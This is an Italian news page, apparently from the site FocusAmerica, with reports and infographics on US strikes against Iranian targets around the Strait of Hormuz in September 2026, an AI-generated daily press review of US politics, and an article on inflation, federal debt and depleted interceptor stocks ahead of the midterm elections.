Le due petroliere erano all'ancora al largo della costa iraniana, a nord della linea del blocco americano, e sono state colpite da missili lanciati da droni statunitensi contro le sale macchine. I raid sono cominciati intorno a mezzogiorno sulla costa orientale degli Stati Uniti, le 18 in Italia, e si sono conclusi in serata. Tra gli altri obiettivi figuravano siti di difesa aerea dei Guardiani della Rivoluzione, radar, mezzi per la posa di mine, centri di comunicazione, lanciatori di missili da crociera antinave e di droni d'attacco.

La Casa Bianca e il Comando Centrale degli Stati Uniti (CENTCOM), responsabile delle operazioni militari americane in Medio Oriente, hanno presentato gli attacchi come una risposta ai recenti tentativi dei Guardiani di colpire navi commerciali nello stretto e basi statunitensi nella regione, in particolare all'attacco di lunedì con droni e missili contro le basi di King Hussein e Azraq, in Giordania.

Stretto di Hormuz

Due petroliere e un centinaio di obiettivi: la mappa dei raid americani sull’Iran


Per la prima volta dall’inizio della guerra gli Stati Uniti hanno colpito petroliere del governo iraniano, insieme a radar, lanciatori e siti di difesa aerea lungo la costa. Trump ha approvato la linea «petroliera per petroliera».

Grafica di FocusAmerica 2 settembre 2026

54°E56°E58°E60°E23°N24°N25°N26°N27°N28°N29°N30°N Iran Emirati Arabi Uniti Oman Pakistan Golfo Persico Golfo di OmanGolfo di Oman Stretto di Hormuz Bandar AbbasJaskChabaharKonarakMinabSirikIsola di QeshmIsola di LavanAsaluyehAeroporto di JiroftKuhestakLarak (domenica)
Inizio dei raid12:00 Washington
18:00 Italia
Fuori mappa, a ovestGiordania: basi di King Hussein e Azraq attaccate lunedì con droni e missili
100 km
×

Tocca o passa il cursore su un punto per i dettagli di ogni località.

Località colpite martedì (media iraniani) Casa colpita durante un matrimonio Attacco USA di domenica

MartedìBandar Abbas, Jask, Chabahar, Konarak, Minab, Sirik, isola di Qeshm, isola di Lavan, polo del gas di Asaluyeh, aeroporto di Jiroft (Kerman)
KuhestakSulla costa dell’Hormozgan: una casa in cui si celebrava un matrimonio sarebbe stata colpita da un raid americano
DomenicaIsola di Larak: gli Stati Uniti distruggono due lanciatori delle Guardie pronti a disseminare mine

Petroliera per petroliera

Cosa hanno colpito gli Stati Uniti martedì


Le due petroliere, all’ancora a nord della linea del blocco, sono state centrate nelle sale macchine da missili lanciati da droni.

2petroliere del governo iraniano
circa 100altri obiettivi lungo la costa
circa 40navi scortate attraverso lo stretto, nessuna colpita

Tra gli obiettivi Siti di difesa aereaRadarMezzi posamineCentri di comunicazioneLanciatori di missili antinaveLanciatori di droni

La sequenza

Da domenica a martedì: tre giorni di colpi e risposte


Dall’attacco americano di domenica a Larak alla ritorsione iraniana di martedì sera.

Domenica 30 agosto
Stati Uniti
2lanciatori delle Guardie distrutti sull’isola di Larak

Erano pronti a disseminare mine marine nello stretto.

Lunedì 31 agosto
Iran
2basi in Giordania attaccate con droni e missili: King Hussein e Azraq

Otto missili abbattuti, secondo Trump.

Martedì 1º settembre
Stati Uniti
~100obiettivi colpiti, più due petroliere

Dalle 18 italiane fino a sera. In serata la ritorsione iraniana.

La ritorsione

Venticinque missili balistici verso la Giordania, nessuno a segno


Secondo Washington solo la metà ha raggiunto lo spazio aereo giordano. Le Forze armate di Amman ne hanno intercettati dieci; tre sono caduti in zone disabitate.


12 non arrivati nello spazio aereo giordano 10 intercettati 3 caduti in zone disabitate

BahreinCirca 20 droni contro le basi americane, quasi tutti intercettati
KuwaitMissili e droni contro basi statunitensi
ErbilDue droni contro la base nel Kurdistan iracheno, entrambi abbattuti

La logica dell’operazione
«Tagliare l’erba»

Così un funzionario americano ha descritto ad Axios il piano: colpire periodicamente radar e lanciatori iraniani, anche ogni mese.

L’obiettivo dichiarato

Impedire all’Iran di ricostruire radar e sistemi missilistici. Gli attacchi di martedì avrebbero «comprato almeno un mese» di minore pericolo per il traffico.

La minaccia di Trump

Se l’Iran reagisce, sarà colpito di nuovo «molto più duramente». E l’attacco più grande resta dietro le quinte.

Il bilancio

Le vittime di Kuhestak: due fonti iraniane, due conteggi


Secondo i media iraniani un raid americano avrebbe colpito una casa dove si celebrava un matrimonio. Il Centcom dice di essere a conoscenza delle notizie e di non prendere mai di mira i civili.

Ahmad Nafisivicegovernatore dell’Hormozgan, alla tv di Stato
5mortitra cui un bambino
almeno 68feriti

Ministero degli EsteriRepubblica islamica dell’Iran
oltre 50tra morti e feritibilancio complessivo

Il portavoce del Centcom Tim Hawkins: i militari americani «non prendono mai di mira i civili, a differenza dei Guardiani».

Fonte Elaborazione FocusAmerica su Centcom, Casa Bianca, Axios, Forze armate giordane, tv di Stato e ministero degli Esteri iraniani. Località colpite secondo i media iraniani. Cartografia: Natural Earth. Dati aggiornati al 2 settembre 2026, bilanci provvisori.

"Tagliare l'erba" ogni mese


I raid rientrano però anche in un piano più ampio, discusso nei giorni scorsi da Trump e dai suoi collaboratori, per impedire all'Iran di ricostruire i radar e i sistemi missilistici necessari ad attaccare le navi in transito. Un funzionario americano ha usato l'espressione "tagliare l'erba, ovvero colpire periodicamente le capacità iraniane per ridurre il rischio per le petroliere, le unità della Marina e gli aerei dell'Aeronautica statunitense. Secondo la stessa fonte, gli attacchi di martedì hanno degradato le capacità offensive iraniane nello stretto e "comprato almeno un mese" di minore pericolo per il traffico commerciale.

Nel frattempo, le forze americane hanno continuato a scortare le navi attraverso lo stretto. Circa 40 imbarcazioni sono transitate martedì in entrata e in uscita, trasportando complessivamente milioni di barili di petrolio. I missili antinave e i droni lanciati dai Guardiani contro i convogli sono stati intercettati e nessuna nave è stata colpita.

La risposta iraniana e la minaccia di Trump


La ritorsione iraniana, secondo Washington, è fallita. L'Iran ha lanciato circa 25 missili balistici verso la Giordania, ma soltanto la metà avrebbe raggiunto lo spazio aereo del Paese. Le Forze Armate giordane hanno confermato mercoledì di aver intercettato dieci missili, mentre altri tre sono caduti in zone disabitate senza provocare vittime. Circa una ventina di droni sono stati lanciati contro le basi americane in Bahrein e quasi tutti sono stati intercettati.

L'Iran ha inoltre lanciato missili e droni contro basi statunitensi in Kuwait e due droni contro la base di Erbil, nel Kurdistan iracheno, entrambi abbattuti. I Guardiani hanno presentato gli attacchi come una risposta a un raid americano su Kuhestak, sulla costa dell'Hormozgan, e hanno sostenuto di aver abbattuto un drone statunitense con un nuovo sistema di difesa.

Sul raid di Kuhestak le versioni delle due parti divergono. I media iraniani hanno riferito che un attacco americano avrebbe colpito una casa nella quale si stava celebrando un matrimonio. Il vicegovernatore provinciale Ahmad Nafisi ha riferito alla televisione di Stato di 5 morti, tra cui un bambino, e almeno 68 feriti, mentre il Ministero degli Esteri iraniano ha parlato complessivamente di oltre 50 morti e feriti. Il portavoce del CENTCOM, capitano Tim Hawkins, ha replicato che il comando è "a conoscenza delle notizie, originate dai media di Stato iraniani" e che "i militari americani non prendono mai di mira i civili, a differenza dei Guardiani".

Le nuove minacce di Trump


"Se la nazione fallita dell'Iran reagirà a questo attacco pienamente giustificato, sarà colpita di nuovo, molto più duramente e a un livello molto più alto. Ma non sarà ancora l'attacco più grande: quello resta dietro le quinte e, quando sarà finito, della Repubblica islamica dell'Iran resterà ben poco", ha scritto minacciosamente Trump su Truth Social. Il presidente ha giustificato i nuovi raid con il tentativo iraniano di posare nuove mine nello stretto e con gli otto missili lanciati contro una base americana in Giordania, tutti abbattuti. Ha inoltre sostenuto che nello stretto non vi siano più mine, perché "completamente rimosse o fatte esplodere".

Poche ore prima, il Dipartimento di Stato statunitense aveva avvertito i cittadini americani in Medio Oriente di prepararsi a "possibili cancellazioni di voli, chiusure dello spazio aereo e interruzioni dei collegamenti". "Gli iraniani non hanno soltanto perso il controllo dello Stretto di Hormuz, hanno perso anche il controllo del conflitto. Oggi non hanno ottenuto nulla", ha dichiarato un funzionario americano ad Axios. Ma la stessa espressione utilizzata "tagliare l’erba", tuttavia, lascia intendere che il risultato rivendicato da Washington sia considerato soltanto temporaneo: secondo gli strateghi del Pentagono, gli attacchi di martedì avrebbero ridotto la minaccia per almeno un mese, al termine del quale potrebbe però rendersi necessario colpire nuovamente radar e lanciatori iraniani.


Gli Stati Uniti attaccano nuovamente postazioni iraniane nello Stretto di Hormuz


Le forze americane hanno ripreso a colpire obiettivi iraniani nell’area dello Stretto di Hormuz. Lo ha annunciato questa sera il Comando Centrale degli Stati Uniti (Central Command, Centcom), responsabile delle operazioni militari americane in Medio Oriente. I raid sono cominciati a mezzogiorno, ora di Washington, ovvero le 18 in Italia, e hanno preso di mira postazioni dei Guardiani della Rivoluzione (IRCG), il corpo militare d’élite della Repubblica islamica.

Secondo il Centcom, gli attacchi odierni sono una risposta ai recenti tentativi dei Guardiani di colpire navi commerciali nello Stretto e basi militari americane presenti nella regione. Lo scambio di attacchi era già ripreso domenica, dopo circa un mese di pausa.

Gli Stati Uniti avevano distrutto due lanciatori sull’isola di Larak, che secondo Washington erano pronti a disseminare mine marine nello Stretto. Il giorno dopo l’Iran aveva risposto lanciando missili contro due basi americane in Giordania, otto dei quali erano stati intercettati.

L’operazione di questa sera rientra in un piano che il presidente e i suoi principali consiglieri valutavano da giorni e che Axios aveva già anticipato: una serie di attacchi limitati nell’area dello Stretto per impedire all’Iran di ricostruire radar e capacità missilistiche necessarie ad attaccare le navi. Un funzionario americano ha spiegato ad Axios che l’obiettivo è ridurre il rischio di attacchi iraniani contro petroliere, unità della Marina e aerei dell’Aeronautica statunitensi. Si tratta, nelle sue parole, di “tagliare l’erba”.

Stretto di Hormuz

Dieci località colpite in un giorno: la mappa dei raid americani sull’Iran


A mezzogiorno, ora di Washington, il Centcom ha iniziato a colpire le postazioni delle Guardie della rivoluzione lungo la costa meridionale iraniana. È il terzo giorno consecutivo di colpi e risposte tra i due Paesi.

Grafica di FocusAmerica 1º settembre 2026

54°E56°E58°E60°E23°N24°N25°N26°N27°N28°N29°N30°N Iran Emirati Arabi Uniti Oman Pakistan Golfo Persico Golfo di OmanGolfo di Oman Stretto di Hormuz Bandar AbbasJaskChabaharKonarakMinabSirikIsola di QeshmIsola di LavanAsaluyehAeroporto di JiroftLarak (domenica)
Inizio dei raidOre 12:00 Washington
Ore 18:00 Italia
Fuori mappa, a ovestGiordania: due basi americane bersaglio lunedì dei missili iraniani
100 km
×

Tocca o passa il cursore su un punto per i dettagli di ogni località.

Prima ondata (martedì) Ore successive Attacco USA di domenica

Prima ondataBandar Abbas, Jask, Chabahar, Konarak, Minab, Sirik, isola di Qeshm
Ore successiveIsola di Lavan, polo del gas di Asaluyeh, aeroporto di Jiroft (Kerman)
DomenicaIsola di Larak: gli Stati Uniti distruggono due lanciatori delle Guardie pronti a disseminare mine

La sequenza

Da domenica a martedì: tre giorni di colpi e risposte


Lo scambio di fuoco è ripreso dopo circa un mese di pausa.

Domenica 30 agosto
Stati Uniti
2lanciatori delle Guardie distrutti sull’isola di Larak

Erano pronti a disseminare mine marine nello Stretto di Hormuz.

Lunedì 31 agosto
Iran
2basi americane in Giordania attaccate dai missili iraniani
8missili intercettati

Martedì 1º settembre
Stati Uniti
10località colpite nel sud dell’Iran

I Guardiani della Rivoluzione hanno annunciato di aver dato inizio alla risposta.

La logica dell’operazione
«Tagliare l'erba»

Così un funzionario americano ha descritto ad Axios il piano del Pentagono: attacchi limitati e ripetuti nell’area dello Stretto.

L’obiettivo dichiarato

Impedire all’Iran di ricostruire radar e capacità missilistiche con cui attaccare petroliere, navi e aerei americani.

La minaccia di Trump

Se l’Iran reagisce, sarà colpito di nuovo «a un livello molto più duro». E l’attacco più grande resta in attesa.

Il bilancio

Le vittime a Sirik: due fonti iraniane, due conteggi


Un attacco avrebbe centrato un’abitazione dove era in corso un matrimonio. I bilanci restano provvisori.

Mezzaluna Rossasezione provinciale, citata da Fars
almeno 4mortitra cui un bambino
oltre 50feritisoccorsi ancora in corso

Vicegovernatoreprovincia di Hormozgan, alla tv di Stato
2mortibilancio provvisorio

I Guardiani della Rivoluzione promettono una «punizione severa»; l’agenzia Tasnim parla di una risposta «molte volte più grande».

Fonte Elaborazione FocusAmerica su comunicati del Comando centrale degli Stati Uniti (Centcom), Axios, agenzie Fars e Tasnim, tv di Stato iraniana. Cartografia: Natural Earth. Dati aggiornati al 1º settembre 2026, bilanci provvisori.

Colpita la costa meridionale dell’Iran


Secondo i media iraniani, i raid di questa sera hanno colpito diverse località della costa meridionale del Paese, tra cui Bandar Abbas, Jask, Chabahar, Konarak, Minab e Sirik, oltre all’isola di Qeshm. Nelle ore successive gli attacchi avrebbero raggiunto anche l’isola di Lavan, il polo del gas di Asaluyeh e l’aeroporto di Jiroft, nella provincia iraniana di Kerman.

Uno dei colpi avrebbe centrato un’abitazione nei pressi di Sirik, città costiera dell’Iran dove era in corso un matrimonio. La sezione provinciale della Mezzaluna Rossa iraniana, citata dall’agenzia stampa iraniana Fars, ha riferito di almeno 4 morti, tra cui un bambino, e di oltre 50 feriti, mentre i soccorsi erano ancora in corso. Il vicegovernatore della provincia di Hormozgan ha invece parlato alla televisione di Stato di due vittime.

Le minacce reciproche di Washington e Teheran


Poco dopo la notizia dei raid, il presidente statunitense Donald Trump ha scritto su Truth Social che l’attacco è stato “pienamente giustificato” e che, se l’Iran, da lui definito una “nazione fallita”, dovesse reagire, verrebbe attaccato di nuovo a un livello “molto più duro e più alto”. Anche questo di stasera, ha aggiunto, non è l’attacco più grande: quello resta “pronto in attesa” e, quando dovesse essere concluso, della Repubblica Islamica dell’Iran “resterebbe molto poco”.

“Una punizione severa attende gli aggressori”, ha risposto su X il portavoce dei Guardiani della Rivoluzione Hossein Mohebi, aggiungendo che gli Stati Uniti “si pentiranno dei loro ultimi attacchi”. L’agenzia Tasnim, vicina ai pasdaran, ha citato una fonte militare iraniana secondo cui la risposta sarà “molte volte più grande” degli attacchi americani e gli interessi e le basi statunitensi nella regione finiranno rapidamente sotto il fuoco iraniano.


Questa voce è stata modificata (2 settimane fa)

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EDRi stands in solidarity with Autistici/Inventati after “terrorist” designation by the US government


The United States government has designated the Italian non-profit organisation Autistici/Inventati as a "Specially Designated Global Terrorist" for providing digital infrastructure to supposedly “violent far-left militants.” This targeting of A/I is also an attack on independent internet infrastructure, fundamental rights of multiple collectives, safe and secure communications, democratic anti-authoritarian organising and the democratic integrity of the EU.

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La rassegna stampa di giovedì 3 settembre 2026


L'Amministrazione Trump intensifica la guerra con l'Iran e stringe la morsa delle sanzioni, mentre un giudice blocca il nuovo ordine sulla cittadinanza per nascita e il presidente firma il bilancio provvisorio; crescono i dazi e l'ansia repubblicana verso il voto di metà mandato

Questa è la rassegna stampa di giovedì 3 settembre 2026

L'Amministrazione Trump intensifica la guerra con l'Iran e rivendica il controllo dello stretto di Hormuz


Il presidente Trump ha lanciato la più ampia ondata di attacchi sull'Iran delle ultime settimane, assicurando che l'operazione sarà breve e affermando che gli Stati Uniti controllano ormai lo stretto di Hormuz. Il Pentagono ha però esteso il dispiegamento di truppe e navi da guerra in Medio Oriente fino al 2027, segno che il conflitto rischia di prolungarsi. Trump è sotto pressione per evitare un'ulteriore escalation mentre il suo indice di gradimento è sceso a un minimo record e le elezioni di metà mandato si avvicinano.

Fonti: New York Times, Wall Street Journal, The Hill

Washington stringe la morsa economica su Teheran con l'operazione «Economic Outcast»


L'inviato della Casa Bianca Steve Witkoff ha incontrato in Sardegna il potente consigliere per la sicurezza nazionale degli Emirati Arabi Uniti per coordinare la campagna di sanzioni contro l'Iran e la riapertura dello stretto di Hormuz. Il segretario al Tesoro Scott Bessent ha rilanciato l'agenda dell'Amministrazione al G20 ospitato negli Stati Uniti, minacciando sanzioni verso chiunque commerci con la Repubblica islamica. Il vertice si è però chiuso senza un accordo comune, sullo sfondo di una vendita sui mercati obbligazionari globali.

Fonti: Axios, The Hill, Semafor

Un giudice federale blocca il nuovo tentativo di Trump di limitare la cittadinanza per nascita


Una giudice distrettuale del Maryland ha concesso un'ingiunzione preliminare che ferma l'ordine esecutivo con cui il presidente Trump cercava nuovamente di restringere la cittadinanza automatica per chi nasce sul suolo statunitense. È il secondo tentativo dell'Amministrazione dopo la sconfitta davanti alla Corte suprema. La decisione risponde ai timori che neonati già riconosciuti come cittadini possano vedersi revocare lo status.

Fonti: New York Times, The Hill, Bloomberg

Trump firma la legge di bilancio provvisoria ed evita la paralisi del governo


Il presidente Trump ha firmato una legge di finanziamento temporaneo che scongiura la chiusura delle attività federali almeno fino all'11 dicembre. Il provvedimento, approvato da Senato e Camera, garantisce i fondi alle agenzie federali oltre le elezioni di metà mandato di novembre. Si tratta di una tregua di bilancio in attesa di un'intesa più ampia.

Fonti: The Hill

Nuovi dazi fino al 100% sui droni stranieri, in arrivo tariffe sui semiconduttori


L'Amministrazione Trump ha imposto dazi fino al 100% sui droni prodotti all'estero, mentre la Federal Communications Commission valuta restrizioni su tecnologie diffuse come le termocamere. Il presidente ha inoltre annunciato l'intenzione di introdurre nuove tariffe sui semiconduttori. Le misure ampliano la strategia protezionistica della Casa Bianca sul commercio.

Fonti: New York Times, Bloomberg

Il caos si aggrava al Pentagono dopo le dimissioni del segretario dell'Esercito Driscoll


Le dimissioni del segretario dell'Esercito Dan Driscoll, dopo uno scontro con il segretario alla Difesa Pete Hegseth, lasciano vuoti di leadership mentre le forze armate statunitensi gestiscono il prolungarsi del conflitto con l'Iran. Come possibile successore emerge Sean Parnell, attuale portavoce del Pentagono e alleato di Hegseth. La vicenda alimenta le tensioni ai vertici militari.

Fonti: Financial Times, Semafor

A due mesi dal voto di metà mandato cresce l'ansia tra i repubblicani


Il leader della maggioranza al Senato John Thune ha ammesso di temere la perdita del controllo della camera alta, citando i prezzi elevati e il calo dei consensi per il presidente. Alcuni repubblicani chiedono a Trump di aprire i 400 milioni di dollari del suo super Pac, finora poco utilizzati nella corsa elettorale. Intanto, in vista di una convention di partito, diversi candidati in bilico declinano l'invito del presidente.

Fonti: The Hill, Financial Times, New York Times

Google evita lo smembramento del suo monopolio nella pubblicità online


Un tribunale statunitense ha risparmiato a Google la separazione forzata delle sue attività nella pubblicità digitale, pur avendone riconosciuto in precedenza la posizione dominante. La decisione rappresenta un sollievo per il colosso tecnologico nel lungo contenzioso antitrust con il governo. Restano tuttavia aperti altri fronti giudiziari sul potere di mercato dell'azienda.

Fonti: Financial Times

Chevron raddoppia la produzione di petrolio in Venezuela mentre Maduro chiede l'archiviazione delle accuse


La compagnia americana Chevron si è impegnata a investire 7 miliardi di dollari per raddoppiare la produzione di petrolio in Venezuela, assecondando la spinta della Casa Bianca ad aumentare l'estrazione nel Paese. Nel frattempo l'ex presidente Nicolás Maduro ha chiesto a un giudice di New York di archiviare l'accusa di narcotraffico, sostenendo di godere dell'immunità come capo di uno Stato sovrano. Le due vicende illustrano la complessa relazione tra Washington e Caracas.

Fonti: Financial Times, Bloomberg

Cultura e spettacolo: l'omaggio a Dolly Parton, la scomparsa di Cassandra Wilson e la mostra saltata di Galliano


Il parco Dollywood, nel Tennessee, aggiungerà nuove attrazioni per onorare la cantante Dolly Parton, scomparsa a 80 anni. Nel mondo della musica se ne va anche Cassandra Wilson, celebre voce del jazz, morta a 70 anni. A New York, intanto, è saltata la mostra che il Metropolitan Museum aveva dedicato allo stilista John Galliano.

Fonti: ABC News, New York Times, New York Times

Il contenuto di questa rassegna stampa è stato integralmente realizzato tramite un sistema di intelligenza artificiale. Se noti eventuali errori o imprecisioni, ti invitiamo a segnalarceli inviando un'email a segnalazioni@focusamerica.it.

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L'inflazione e la guerra in Iran pesano sulle midterm di Trump


Dazi, benzina sopra i 4 dollari, debito oltre i 40.000 miliardi e arsenali assottigliati complicano la campagna repubblicana a due mesi dal voto.

A due mesi dalle elezioni di metà mandato, l'economia americana è sempre più sotto pressione e le politiche di Donald Trump contribuiscono alle difficoltà. Il presidente e i repubblicani avevano conquistato Washington nel 2024 promettendo di sconfiggere l'inflazione e tagliare la spesa pubblica, ma la guerra commerciale, il conflitto con l'Iran e un debito che ha superato i 40.000 miliardi di dollari hanno prolungato o aggravato i problemi economici proprio per molte delle famiglie che avevano promesso di aiutare. I sondaggi, scrive il New York Times, indicano una crescente insofferenza degli elettori verso gli appelli alla pazienza e le midterm si avviano a diventare un referendum sulla credibilità economica del presidente.

L'indice PCE, la misura dell'inflazione seguita con maggiore attenzione dalla Federal Reserve, ha mostrato mercoledì che a luglio i prezzi sono aumentati del 3,7% rispetto a un anno prima, lo stesso ritmo di giugno e ben al di sopra dell'obiettivo del 2%. Al netto di energia e alimentari, l'aumento è stato del 3,3%. Olu Sonola, responsabile dell'economia americana per Fitch Ratings, ha descritto al New York Times la dinamica dei prezzi come "un logoramento fatto di mille piccoli tagli": un accumulo di fattori, dalla guerra ai dazi, che ha alimentato l'inflazione e peggiorato le aspettative dei consumatori.

"Questo stillicidio, settimana dopo settimana, mese dopo mese, ha un impatto diretto per le famiglie", ha spiegato, anche se l'economia continua a crescere, la manifattura è in ripresa e il mercato del lavoro tiene, grazie all'ondata di investimenti nell'intelligenza artificiale che ha portato i mercati a nuovi record. Sarah House, economista senior di Wells Fargo, prevede che l'inflazione chiuda l'anno intorno al 3,5%, ben oltre le attese di inizio 2026: "C'è un divario enorme tra quello che i consumatori incassano e la velocità con cui il denaro esce dalle loro tasche".

Midterm 2026 · Economia e difesa

A due mesi dal voto, la presidenza di Trump presenta il conto su tre fronti

I dazi costano in media 1.100 dollari all’anno a ogni famiglia, il debito federale ha superato i 40.000 miliardi e la guerra con l’Iran ha consumato quasi due terzi degli intercettori Patriot. Le elezioni di metà mandato si avviano a diventare un referendum sulla credibilità economica del presidente.

Grafica di FocusAmerica 30 agosto 2026

Indice PCE, variazione sui dodici mesi · luglio 2026

3,7%
L’inflazione che la Federal Reserve guarda con più attenzione è ferma sul ritmo di giugno. Al netto di energia e alimentari l’aumento è del 3,3%.

Obiettivo Fed 2%

Entro l’obiettivo della Fed +1,7 punti oltre l’obiettivo

Sarah House, economista senior di Wells Fargo, prevede che l’anno si chiuda intorno al 3,5%: «C’è un divario enorme tra quello che i consumatori incassano e la velocità con cui il denaro esce dalle loro tasche».

1Le famiglie 2Il debito 3L’arsenale

Il conto delle famiglie

I dazi in vigore valgono 1.100 dollari all’anno per famiglia


Stima dello Yale Budget Lab sull’insieme delle tariffe applicate ad agosto 2026. I dazi sono imposte sulle importazioni: una parte del costo si trasferisce sui consumatori.

Costo annuo per famiglia
Tariffe già in vigore circa 1.070 $
Nuove misure sul Canada circa 30 $
Totale 1.100 $

Interrogato sui possibili aumenti dei prezzi, Trump ha sostenuto che i dazi contro il Canada saranno «molto buoni per noi».

Alla pompa di benzina, media nazionale AAA

Agosto 2025 circa 3,09 $

Agosto 2026 4,09 $

Prezzo al gallone. Agosto si avvia a diventare il mese più caro di sempre: la benzina resta sopra i 4 dollari da quando, a luglio, gli scontri sono ripresi nello Stretto di Hormuz.

Il prossimo colpo Dal 1° gennaio 2027 auto, camion, componenti e acciaio canadesi saranno tassati al 50%. Il primo ministro Mark Carney ha già annunciato misure di ritorsione.

Il debito

Due anni dopo la promessa di austerità, il debito ha superato i 40.000 miliardi


Il debito federale vale ormai più del prodotto annuo del Paese: le tensioni sul mercato obbligazionario rendono più costosi mutui e prestiti.

40.000 miliardi di dollari

Il Congresso a guida repubblicana ha respinto più volte i tagli più profondi chiesti dal presidente, che ha ottenuto invece un aumento delle spese militari e un pacchetto di tagli alle tasse da migliaia di miliardi di dollari.

Quanto pesa il riacquisto di titoli annunciato dal Tesoro

L’intera barra è il debito federale: 40.000 miliardi di dollari.

4 miliardi: questa linea

La stessa barra ingrandita mille volte

L’intervento del Segretario al Tesoro Scott Bessent, di almeno 4 miliardi di dollari per operazione e dagli effetti temporanei, copre lo 0,01% del debito. Il piano di «consolidamento fiscale» promesso resta senza dettagli.

Jessica Riedl, Brookings Institution «Sono tutte chiacchiere. I repubblicani dicono sempre: dateci il controllo del governo e taglieremo la spesa. Ce l’hanno e non hanno più scuse».

L’arsenale

La guerra con l’Iran ha consumato quasi due terzi degli intercettori Patriot


Ogni sagoma rappresenta l’1% delle scorte americane di intercettori Patriot. In rosso la quota consumata dal conflitto, secondo una stima del CSIS.

Consumati: 65% delle scorte Rimasti: 35%

Che cosa hanno lanciato gli Stati Uniti entro metà luglio

Intercettori Patriot1.700

Intercettori THAADoltre 200

Missili lanciati dalle navi150

Che cosa ha lanciato l’Iran

Missili balisticioltre 1.500

Droni di grandi dimensionicirca 6.000

Le barre sono in scala tra loro. Ricostituire le munizioni prelevate dalle scorte americane in Giappone, Corea del Sud e Germania potrebbe richiedere anni.

Le conseguenze fuori dal Golfo In Europa le scorte di intercettori PAC-3 e di missili ATACMS sono giudicate oltre il livello critico. Nel breve periodo Washington potrebbe non essere in grado di eseguire integralmente i piani per la difesa di Taiwan. La Casa Bianca respinge questa ricostruzione: secondo la portavoce Anna Kelly le scorte sono «più che sufficienti».

Fonte: New York Times e Wall Street Journal; Bureau of Economic Analysis (indice PCE, luglio 2026); Yale Budget Lab; AAA; CSIS. Dati aggiornati al 30 agosto 2026.

Dazi, benzina e debito


Uno di questi shock è arrivato sabato 22 agosto, quando Trump ha imposto nuovi dazi su una parte delle importazioni dal Canada, per poi annunciare due giorni dopo che dal 1° gennaio 2027 auto, camion, componenti e acciaio canadesi saranno tassati al 50%. Il primo ministro Mark Carney ha risposto con misure di ritorsione, riaprendo una disputa che ricorda i giorni più frenetici dell'inizio della guerra commerciale.

I dazi sono a tutti gli effetti imposte sulle importazioni e una parte dei loro costi si trasferisce sui consumatori: lo Yale Budget Lab, un centro di ricerca indipendente, ha stimato questo mese che l'insieme delle tariffe in vigore costerà alle famiglie in media circa 1.100 dollari all'anno, una trentina dei quali imputabili alle nuove misure sul Canada. Interrogato sui possibili aumenti dei prezzi, Trump ha sostenuto che i dazi contro il Canada saranno "molto buoni per noi".

Intanto, la guerra con l'Iran, cominciata il 28 febbraio con l'operazione Epic Fury, non si è mai davvero conclusa. Dopo il cessate il fuoco di maggio, a luglio gli scontri sono ripresi nello Stretto di Hormuz e la benzina resta sopra i 4 dollari al gallone: venerdì la media nazionale era di 4,09 dollari secondo AAA, circa un dollaro in più rispetto a un anno prima, mentre agosto si avvia a diventare il mese più caro di sempre alla pompa di benzina. Lo shock energetico ha fatto salire anche il prezzo del diesel e del carburante per aerei, aumentando i costi dei trasporti e dei viaggi.

Le spese per l'intervento militare hanno inoltre contribuito alla crescita del debito federale, ormai superiore a 40.000 miliardi di dollari e al prodotto annuo del Paese, alimentando le tensioni sul mercato obbligazionario e rendendo più costosi mutui e prestiti. Il superamento della soglia dei 40.000 miliardi mostra anche quanto poco Trump e i repubblicani siano riusciti a ridurre la spesa, nonostante l'austerità promessa due anni fa. "Sono tutte chiacchiere", ha detto Jessica Riedl, esperta di bilancio della Brookings Institution ed ex collaboratrice di un senatore repubblicano.

"I repubblicani dicono sempre: 'Dateci il controllo del governo e taglieremo la spesa'. Ce l'hanno e non hanno più scuse". Il Congresso a guida repubblicana ha respinto più volte i tagli più profondi proposti dal presidente, che dal canto suo ha chiesto un aumento delle spese militari e ottenuto l'anno scorso un pacchetto di tagli alle tasse da migliaia di miliardi di dollari. Il Segretario al Tesoro Scott Bessent ha annunciato questo mese un raro intervento di riacquisto di titoli di Stato, portato ad almeno 4 miliardi di dollari per operazione e dagli effetti temporanei, e ha promesso un piano di "consolidamento fiscale" senza fornire dettagli.

La Fed, intanto, continua a resistere alle pressioni per ridurre i tassi. "Dobbiamo essere sicuri che l'inflazione di fondo si stia muovendo verso il nostro obiettivo, in modo chiaro e a una velocità sufficiente", ha detto venerdì a Jackson Hole il nuovo presidente Kevin Warsh. "Altrimenti abbiamo ancora del lavoro da fare". I mercati hanno interpretato il discorso come un'apertura a un rialzo dei tassi già a settembre. Trump chiede invece tagli rapidi e ha accusato il consiglio della banca centrale di fare politica: "Quando annunciamo buoni numeri, cosa che facciamo di continuo, loro continuano ad alzare i tassi perché hanno tanta paura dell'inflazione. E non dovrebbero".

La guerra in Iran svuota gli arsenali


Gli Stati Uniti hanno trasferito in Medio Oriente una quantità di munizioni tale da alimentare, tra i pianificatori militari americani, il timore che la capacità di deterrenza nei confronti di Cina e Russia si sia sensibilmente indebolita. Lo ha rivelato il Wall Street Journal, citando funzionari statunitensi. Entro metà luglio, gli Stati Uniti avevano impiegato circa 1.700 intercettori Patriot e più di 200 intercettori THAAD, mentre le navi della Marina avevano lanciato altri 150 missili per contrastare oltre 1.500 missili balistici e circa 6.000 droni di grandi dimensioni lanciati dall’Iran. Secondo una stima del CSIS, il conflitto avrebbe consumato circa il 65% delle scorte americane di intercettori Patriot.

Le conseguenze si fanno sentire anche fuori dal Medio Oriente. In Europa, le scorte di intercettori Patriot PAC-3 e di missili terra-terra ATACMS sono giudicate “oltre il livello critico”, mentre missili di precisione, razzi guidati, intercettori THAAD e sistemi antidrone Merops sono stati trasferiti verso il Golfo. Ricostituire le munizioni prelevate anche dalle disponibilità americane in Giappone, Corea del Sud e Germania potrebbe richiedere anni.

Il Comando europeo degli Stati Uniti è stato così costretto a rivedere alcuni dei propri piani operativi. Parallelamente, secondo funzionari dell’Amministrazione, nel breve periodo Washington potrebbe non essere in grado di eseguire integralmente i piani previsti per la difesa di Taiwan in caso di un’invasione cinese. Il senatore repubblicano Roger Wicker ha inoltre avvertito che la revisione della presenza militare statunitense in Europa, attualmente in corso al Pentagono, “deve tenere conto di un Putin ferito che reagisce”.

La Casa Bianca respinge però questa ricostruzione. “L’esercito degli Stati Uniti ha munizioni e scorte più che sufficienti per raggiungere tutti gli obiettivi strategici del presidente Trump e anche oltre, e l’operazione Epic Fury ha mostrato cosa succede quando ci si mette contro gli Stati Uniti”, ha dichiarato la portavoce Anna Kelly. Anche il portavoce del Pentagono Sean Parnell ha definito “false” le notizie sulle carenze, accusando i media di incoraggiare i nemici degli Stati Uniti.

